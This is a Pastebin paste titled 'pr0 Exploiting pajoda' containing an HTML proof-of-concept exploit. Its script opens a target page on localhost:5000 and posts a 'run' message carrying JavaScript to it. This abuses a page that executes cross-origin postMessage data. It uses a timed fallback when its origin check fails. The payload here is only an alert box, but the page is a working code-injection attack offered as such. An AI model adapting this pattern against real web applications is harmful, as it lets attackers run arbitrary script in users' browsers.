Advertisement
0xLeon

pr0 Exploiting pajoda

Dec 23rd, 2018
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 5 0.73 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3.     <head lang="klingonisch">
  4.         <meta charset="UTF-8">
  5.         <title>Oink Oink</title>
  6.     </head>
  7.     <body>
  8.         <script>
  9.             let targetWindow = window.open('http://localhost:5000/static/Derp.html');
  10.             let hackFunction = (function(w) {
  11.                 return function() {
  12.                     w.postMessage(JSON.stringify({
  13.                         action: 'run',
  14.                         data: 'alert(\'1337 burger für cha0s\');'
  15.                     }), '*');
  16.                 };
  17.             })(targetWindow);
  18.  
  19.             try {
  20.                 if (window.origin !== 'http://localhost:5000') {
  21.                     throw new DOMException('Origin mismatch');
  22.                 }
  23.  
  24.                 targetWindow.addEventListener('load', hackFunction);
  25.             }
  26.             catch (e) {
  27.                 window.setTimeout(hackFunction, 2000);
  28.             }
  29.         </script>
  30.     </body>
  31. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement